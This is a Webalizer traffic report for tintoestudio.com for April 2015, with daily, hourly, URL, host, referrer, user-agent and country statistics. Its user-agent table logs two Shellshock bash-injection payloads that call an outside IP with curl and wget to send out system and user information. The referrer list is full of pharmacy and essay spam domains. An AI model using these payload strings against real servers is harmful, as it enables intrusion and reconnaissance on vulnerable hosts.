Usage Statistics for tintoestudio.com

Summary Period: April 2015
Generated 01-May-2015 02:44 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for April 2015
Total Hits 29306
Total Files 21434
Total Pages 26814
Total Visits 5887
Total KBytes 634211
Total Unique Sites 1270
Total Unique URLs 1705
Total Unique Referrers 1841
Total Unique User Agents 567
. Avg Max
Hits per Hour 40 787
Hits per Day 976 2933
Files per Day 714 1435
Pages per Day 893 2759
Sites per Day 42 161
Visits per Day 196 263
KBytes per Day 21140 72970
Hits by Response Code
Code 200 - OK 73.14% 21434
Code 206 - Partial Content 0.22% 64
Code 301 - Moved Permanently 0.02% 7
Code 304 - Not Modified 2.42% 710
Code 400 - Bad Request 0.44% 128
Code 403 - Forbidden 0.17% 51
Code 404 - Not Found 23.57% 6908
Code 408 - Request Timeout 0.01% 3
Code 412 - Precondition Failed 0.00% 1

Daily usage for April 2015

Daily Statistics for April 2015
Day Hits Files Pages Visits Sites KBytes
1 922 3.15% 788 3.68% 864 3.22% 179 3.04% 103 8.11% 29971 4.73%
2 978 3.34% 729 3.40% 844 3.15% 207 3.52% 109 8.58% 11709 1.85%
3 1102 3.76% 931 4.34% 1035 3.86% 223 3.79% 121 9.53% 12117 1.91%
4 1572 5.36% 1149 5.36% 1473 5.49% 239 4.06% 106 8.35% 20408 3.22%
5 861 2.94% 623 2.91% 800 2.98% 208 3.53% 113 8.90% 15010 2.37%
6 1004 3.43% 539 2.51% 928 3.46% 179 3.04% 116 9.13% 14481 2.28%
7 931 3.18% 566 2.64% 773 2.88% 190 3.23% 122 9.61% 16324 2.57%
8 781 2.66% 666 3.11% 729 2.72% 180 3.06% 108 8.50% 19410 3.06%
9 2933 10.01% 1435 6.69% 2759 10.29% 164 2.79% 113 8.90% 72970 11.51%
10 1484 5.06% 1248 5.82% 1408 5.25% 184 3.13% 125 9.84% 40770 6.43%
11 1431 4.88% 1110 5.18% 1332 4.97% 171 2.90% 106 8.35% 22088 3.48%
12 2296 7.83% 1433 6.69% 2201 8.21% 231 3.92% 130 10.24% 32837 5.18%
13 1177 4.02% 1016 4.74% 1074 4.01% 238 4.04% 161 12.68% 49015 7.73%
14 556 1.90% 304 1.42% 454 1.69% 143 2.43% 115 9.06% 15665 2.47%
15 720 2.46% 442 2.06% 629 2.35% 112 1.90% 103 8.11% 8326 1.31%
16 1455 4.96% 1300 6.07% 1388 5.18% 215 3.65% 142 11.18% 52220 8.23%
17 934 3.19% 804 3.75% 866 3.23% 263 4.47% 153 12.05% 21550 3.40%
18 795 2.71% 593 2.77% 712 2.66% 252 4.28% 139 10.94% 7164 1.13%
19 943 3.22% 757 3.53% 827 3.08% 194 3.30% 116 9.13% 38493 6.07%
20 379 1.29% 184 0.86% 297 1.11% 147 2.50% 98 7.72% 4122 0.65%
21 341 1.16% 195 0.91% 261 0.97% 188 3.19% 139 10.94% 6290 0.99%
22 449 1.53% 347 1.62% 407 1.52% 142 2.41% 97 7.64% 8720 1.38%
23 401 1.37% 279 1.30% 328 1.22% 143 2.43% 111 8.74% 7911 1.25%
24 516 1.76% 359 1.67% 438 1.63% 184 3.13% 105 8.27% 12837 2.02%
25 465 1.59% 326 1.52% 386 1.44% 202 3.43% 131 10.31% 11231 1.77%
26 403 1.38% 292 1.36% 354 1.32% 213 3.62% 123 9.69% 7935 1.25%
27 559 1.91% 456 2.13% 514 1.92% 220 3.74% 122 9.61% 13079 2.06%
28 1140 3.89% 1002 4.67% 1077 4.02% 240 4.08% 157 12.36% 25594 4.04%
29 1341 4.58% 1229 5.73% 1281 4.78% 220 3.74% 131 10.31% 24894 3.93%
30 437 1.49% 332 1.55% 375 1.40% 225 3.82% 132 10.39% 11070 1.75%

Hourly usage for April 2015

Hourly Statistics for April 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 23 716 2.44% 20 607 2.83% 21 654 2.44% 494 14821 2.34%
1 28 864 2.95% 24 739 3.45% 26 807 3.01% 658 19750 3.11%
2 29 872 2.98% 23 707 3.30% 26 784 2.92% 698 20932 3.30%
3 35 1053 3.59% 26 807 3.77% 32 976 3.64% 951 28544 4.50%
4 65 1956 6.67% 31 958 4.47% 60 1824 6.80% 1146 34379 5.42%
5 78 2361 8.06% 67 2017 9.41% 73 2212 8.25% 2019 60571 9.55%
6 32 976 3.33% 26 809 3.77% 29 879 3.28% 639 19175 3.02%
7 49 1480 5.05% 26 791 3.69% 45 1373 5.12% 901 27016 4.26%
8 41 1243 4.24% 28 856 3.99% 36 1104 4.12% 846 25371 4.00%
9 64 1931 6.59% 43 1308 6.10% 60 1802 6.72% 1703 51087 8.06%
10 24 748 2.55% 16 503 2.35% 21 648 2.42% 339 10159 1.60%
11 45 1362 4.65% 31 936 4.37% 39 1196 4.46% 948 28452 4.49%
12 31 947 3.23% 23 715 3.34% 28 867 3.23% 716 21480 3.39%
13 25 770 2.63% 21 657 3.07% 23 710 2.65% 555 16642 2.62%
14 63 1909 6.51% 56 1706 7.96% 60 1825 6.81% 2342 70255 11.08%
15 37 1120 3.82% 31 931 4.34% 35 1053 3.93% 801 24029 3.79%
16 50 1523 5.20% 41 1255 5.86% 46 1393 5.20% 1101 33019 5.21%
17 36 1085 3.70% 25 779 3.63% 32 960 3.58% 634 19031 3.00%
18 34 1028 3.51% 26 799 3.73% 30 922 3.44% 709 21269 3.35%
19 61 1845 6.30% 23 700 3.27% 51 1553 5.79% 545 16349 2.58%
20 38 1144 3.90% 31 955 4.46% 36 1080 4.03% 602 18058 2.85%
21 26 782 2.67% 20 618 2.88% 23 708 2.64% 450 13502 2.13%
22 31 959 3.27% 25 756 3.53% 29 896 3.34% 971 29119 4.59%
23 21 632 2.16% 17 525 2.45% 19 588 2.19% 373 11200 1.77%

Top 30 of 1705 Total URLs
# Hits KBytes URL
1 9347 31.89% 90177 14.22% /webalizer/
2 2692 9.19% 1825 0.29% /
3 791 2.70% 95005 14.98% /webalizer/usage_201411.html
4 192 0.66% 16001 2.52% /webalizer/usage_201504.html
5 168 0.57% 10863 1.71% /webalizer/usage_201502.html
6 100 0.34% 6634 1.05% /webalizer/usage_201503.html
7 97 0.33% 5910 0.93% /webalizer/usage_201407.html
8 95 0.32% 6525 1.03% /webalizer/usage_201410.html
9 85 0.29% 4708 0.74% /webalizer/usage_201312.html
10 74 0.25% 852 0.13% /modlogan/
11 71 0.24% 4213 0.66% /webalizer/usage_201409.html
12 69 0.24% 4569 0.72% /webalizer/usage_201501.html
13 55 0.19% 4163 0.66% /webalizer/usage_201412.html
14 29 0.10% 2973 0.47% /webalizer/usage_201406.html
15 19 0.06% 9744 1.54% /modlogan/mla-full-web_user_referer-201306.html
16 19 0.06% 1574 0.25% /webalizer/usage_201308.html
17 18 0.06% 1505 0.24% /webalizer/usage_201306.html
18 17 0.06% 3488 0.55% /modlogan/mla-full-web_request_url-201307.html
19 17 0.06% 5428 0.86% /modlogan/mla-full-web_user_referer-201307.html
20 16 0.05% 6935 1.09% /modlogan/mla-full-web_request_url-201306.html
21 16 0.05% 64 0.01% /modlogan/mla-start-201308.html
22 15 0.05% 5506 0.87% /modlogan/mla-full-web_server_broken_links-201306.html
23 15 0.05% 3245 0.51% /modlogan/mla-full-web_user_referer-201311.html
24 15 0.05% 1325 0.21% /webalizer/usage_201307.html
25 15 0.05% 1227 0.19% /webalizer/usage_201311.html
26 14 0.05% 7253 1.14% /modlogan/mla-full-web_request_url_traffic-201309.html
27 14 0.05% 3912 0.62% /modlogan/mla-full-web_server_broken_links-201410.html
28 14 0.05% 2647 0.42% /modlogan/mla-full-web_user_referer-201310.html
29 14 0.05% 564 0.09% /modlogan/mla-full-web_user_referer-201401.html
30 14 0.05% 175 0.03% /modlogan/mla-full-web_user_useragent_visits-201402.html

Top 10 of 1705 Total URLs By KBytes
# Hits KBytes URL
1 791 2.70% 95005 14.98% /webalizer/usage_201411.html
2 9347 31.89% 90177 14.22% /webalizer/
3 192 0.66% 16001 2.52% /webalizer/usage_201504.html
4 168 0.57% 10863 1.71% /webalizer/usage_201502.html
5 19 0.06% 9744 1.54% /modlogan/mla-full-web_user_referer-201306.html
6 14 0.05% 7253 1.14% /modlogan/mla-full-web_request_url_traffic-201309.html
7 16 0.05% 6935 1.09% /modlogan/mla-full-web_request_url-201306.html
8 100 0.34% 6634 1.05% /webalizer/usage_201503.html
9 95 0.32% 6525 1.03% /webalizer/usage_201410.html
10 12 0.04% 6083 0.96% /modlogan/mla-full-web_request_url_traffic-201407.html

Top 10 of 762 Total Entry Pages
# Hits Visits URL
1 2692 9.19% 1673 31.72% /
2 9347 31.89% 1441 27.32% /webalizer/
3 791 2.70% 448 8.49% /webalizer/usage_201411.html
4 192 0.66% 83 1.57% /webalizer/usage_201504.html
5 74 0.25% 35 0.66% /modlogan/
6 85 0.29% 23 0.44% /webalizer/usage_201312.html
7 97 0.33% 20 0.38% /webalizer/usage_201407.html
8 168 0.57% 20 0.38% /webalizer/usage_201502.html
9 69 0.24% 19 0.36% /webalizer/usage_201501.html
10 71 0.24% 16 0.30% /webalizer/usage_201409.html

Top 10 of 765 Total Exit Pages
# Hits Visits URL
1 2692 9.19% 1676 31.55% /
2 9347 31.89% 1448 27.25% /webalizer/
3 791 2.70% 446 8.39% /webalizer/usage_201411.html
4 192 0.66% 90 1.69% /webalizer/usage_201504.html
5 74 0.25% 39 0.73% /modlogan/
6 95 0.32% 22 0.41% /webalizer/usage_201410.html
7 69 0.24% 22 0.41% /webalizer/usage_201501.html
8 85 0.29% 17 0.32% /webalizer/usage_201312.html
9 168 0.57% 16 0.30% /webalizer/usage_201502.html
10 71 0.24% 14 0.26% /webalizer/usage_201409.html

Top 30 of 1270 Total Sites
# Hits Files KBytes Visits Hostname
1 3039 10.37% 3039 14.18% 48615 7.67% 83 1.41% static.169.58.9.5.clients.your-server.de
2 1335 4.56% 1335 6.23% 12943 2.04% 57 0.97% 2.6.207.91.unknown.steephost.net
3 1056 3.60% 733 3.42% 35380 5.58% 16 0.27% hosted-by.leaseweb.com
4 1006 3.43% 1006 4.69% 9766 1.54% 2 0.03% 77.123.28.183
5 807 2.75% 652 3.04% 34694 5.47% 7 0.12% reverse-dns.chicago
6 779 2.66% 4 0.02% 1388 0.22% 1 0.02% www3.planinternet.net
7 668 2.28% 668 3.12% 8567 1.35% 133 2.26% 212-129-33-212.rev.poneytelecom.eu
8 666 2.27% 4 0.02% 1186 0.19% 1 0.02% 5.45.73.22
9 663 2.26% 663 3.09% 449 0.07% 221 3.75% nat01.comcor-tv.ru
10 660 2.25% 660 3.08% 6404 1.01% 163 2.77% 176.98.70.163
11 619 2.11% 619 2.89% 6008 0.95% 155 2.63% 77.123.242.33
12 508 1.73% 508 2.37% 4932 0.78% 183 3.11% 93.158.212.61
13 476 1.62% 476 2.22% 4621 0.73% 102 1.73% 77.123.240.236
14 456 1.56% 2 0.01% 812 0.13% 1 0.02% ip-192.80.114.8.rack59.com
15 392 1.34% 262 1.22% 4605 0.73% 3 0.05% static.172.123.4.46.clients.your-server.de
16 368 1.26% 181 0.84% 459 0.07% 181 3.07% n10-21.vpsnow.ru
17 366 1.25% 366 1.71% 45434 7.16% 211 3.58% 37.1.208.64
18 350 1.19% 247 1.15% 5135 0.81% 3 0.05% mj1.naefmarco.ch
19 326 1.11% 255 1.19% 3502 0.55% 3 0.05% host-176-36-80-39.la.net.ua
20 325 1.11% 137 0.64% 10599 1.67% 2 0.03% f177.fuchsia.fastwebserver.de
21 294 1.00% 235 1.10% 2981 0.47% 5 0.08% pacific1491.unmetered.com
22 285 0.97% 122 0.57% 3450 0.54% 2 0.03% static.177.26.76.144.clients.your-server.de
23 284 0.97% 135 0.63% 1664 0.26% 1 0.02% 75-134-131-198.dhcp.roch.mn.charter.com
24 276 0.94% 256 1.19% 20547 3.24% 2 0.03% ns362302.ip-91-121-121.eu
25 266 0.91% 214 1.00% 13461 2.12% 2 0.03% static.215.114.40.188.clients.your-server.de
26 250 0.85% 239 1.12% 2715 0.43% 1 0.02% ip-178-200-77-99.hsi07.unitymediagroup.de
27 245 0.84% 238 1.11% 15101 2.38% 2 0.03% static.105.87.4.46.clients.your-server.de
28 240 0.82% 240 1.12% 2330 0.37% 1 0.02% 77.123.28.224
29 234 0.80% 229 1.07% 26074 4.11% 1 0.02% 188.165.25.173
30 231 0.79% 231 1.08% 2241 0.35% 45 0.76% 62-210-139-62.rev.poneytelecom.eu

Top 10 of 1270 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 3039 10.37% 3039 14.18% 48615 7.67% 83 1.41% static.169.58.9.5.clients.your-server.de
2 366 1.25% 366 1.71% 45434 7.16% 211 3.58% 37.1.208.64
3 1056 3.60% 733 3.42% 35380 5.58% 16 0.27% hosted-by.leaseweb.com
4 807 2.75% 652 3.04% 34694 5.47% 7 0.12% reverse-dns.chicago
5 234 0.80% 229 1.07% 26074 4.11% 1 0.02% 188.165.25.173
6 276 0.94% 256 1.19% 20547 3.24% 2 0.03% ns362302.ip-91-121-121.eu
7 147 0.50% 147 0.69% 18243 2.88% 89 1.51% 37.113.12.106
8 159 0.54% 148 0.69% 15584 2.46% 1 0.02% 162.243.109.121
9 162 0.55% 151 0.70% 15314 2.41% 1 0.02% 162.243.223.172
10 245 0.84% 238 1.11% 15101 2.38% 2 0.03% static.105.87.4.46.clients.your-server.de

Top 30 of 1841 Total Referrers
# Hits Referrer
1 14643 49.97% - (Direct Request)
2 1748 5.96% http://google.com
3 364 1.24% http://www.xolodremont.ru/
4 349 1.19% http://www.xolodremont.ru/remont_holodilnikov_na_domu.html
5 324 1.11% http://donstroymebel.com/
6 324 1.11% http://otv24.com
7 248 0.85% http://www.tiprus.com/
8 235 0.80% http://hello-moto.com/
9 228 0.78% http://ladypozitiv.com/
10 196 0.67% http://chat-ruletka.net/chatroulette-russia
11 194 0.66% http://xanaxpills.com
12 188 0.64% http://donpozitiv.com/
13 160 0.55% http://imp-mebeli.ru/
14 131 0.45% http://sammerz.ru
15 125 0.43% http://cheapaccutanepills.com
16 119 0.41% http://buyanessaysonline.com
17 115 0.39% http://deejay.com.ru
18 110 0.38% http://sbs-nsk.ru
19 105 0.36% http://biaxin2015.blogspot.com
20 105 0.36% http://buyclarithromycin500mg.jimdo.com
21 105 0.36% http://buyivermectinonline.weebly.com
22 105 0.36% http://healthadwisetoyou.soup.io
23 105 0.36% http://healthclindamycin300mg.snack.ws
24 105 0.36% http://ivermectinbuyonline.weebly.com
25 105 0.36% http://ivermectinforhumans.weebly.com
26 105 0.36% http://purchasebiaxin260mg.soup.io
27 105 0.36% https://azelex20.wordpress.com
28 100 0.34% http://alcoholism.spbdyet.ru
29 100 0.34% http://cleocin150mg.ismyreal.name
30 100 0.34% http://ivermectinotc.weebly.com

Top 1 of 1 Total Search Strings
# Hits Search String
1 1 100.00% tintoestudio.com

Top 15 of 567 Total User Agents
# Hits User Agent
1 9077 30.97% Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
2 1959 6.68% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
3 636 2.17% () { :; }; curl http://54.248.244.82/s.php?c1-`uname -p`
4 520 1.77% Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html)
5 501 1.71% () { :; }; wget -qO - http://54.248.244.82/s.php?w1-`uname`-`uname -p`-`whoami`
6 459 1.57% Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )
7 358 1.22% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
8 341 1.16% Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
9 340 1.16% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
10 338 1.15% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36
11 337 1.15% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
12 336 1.15% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
13 334 1.14% Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
14 333 1.14% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
15 330 1.13% Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRA 5.10 (build 5339); GTB7.5; .NET CLR 2.0.50727; .NET CLR 3

Usage by Country for April 2015

Top 30 of 43 Total Countries
# Hits Files KBytes Country
1 9607 32.78% 7568 35.31% 248850 39.24% Unresolved/Unknown
2 6822 23.28% 5666 26.43% 167556 26.42% Germany
3 4612 15.74% 2430 11.34% 97234 15.33% Commercial (com)
4 3702 12.63% 2243 10.46% 33699 5.31% Network (net)
5 1865 6.36% 1563 7.29% 27705 4.37% Russian Federation
6 1582 5.40% 1342 6.26% 42562 6.71% European Union
7 390 1.33% 308 1.44% 4257 0.67% Ukraine
8 377 1.29% 248 1.16% 5180 0.82% Switzerland
9 62 0.21% 2 0.01% 108 0.02% Mexico
10 55 0.19% 6 0.03% 303 0.05% China
11 50 0.17% 50 0.23% 6289 0.99% Non-Profit (org)
12 26 0.09% 26 0.12% 189 0.03% United Kingdom
13 20 0.07% 2 0.01% 31 0.00% Argentina
14 16 0.05% 0 0.00% 29 0.00% Taiwan
15 12 0.04% 0 0.00% 21 0.00% Singapore
16 12 0.04% 4 0.02% 17 0.00% Turkey
17 10 0.03% 6 0.03% 20 0.00% Brazil
18 9 0.03% 9 0.04% 6 0.00% Educational (edu)
19 9 0.03% 1 0.00% 24 0.00% Indonesia
20 8 0.03% 0 0.00% 14 0.00% Chile
21 8 0.03% 1 0.00% 13 0.00% India
22 6 0.02% 0 0.00% 11 0.00% Thailand
23 5 0.02% 1 0.00% 8 0.00% Romania
24 4 0.01% 3 0.01% 37 0.01% Finland
25 4 0.01% 0 0.00% 7 0.00% Hong Kong
26 4 0.01% 2 0.01% 5 0.00% British Indian Ocean Territory
27 4 0.01% 2 0.01% 5 0.00% Seychelles
28 3 0.01% 3 0.01% 2 0.00% Italy
29 2 0.01% 0 0.00% 4 0.00% Austria
30 2 0.01% 0 0.00% 1 0.00% Canada


Generated by Webalizer Version 2.20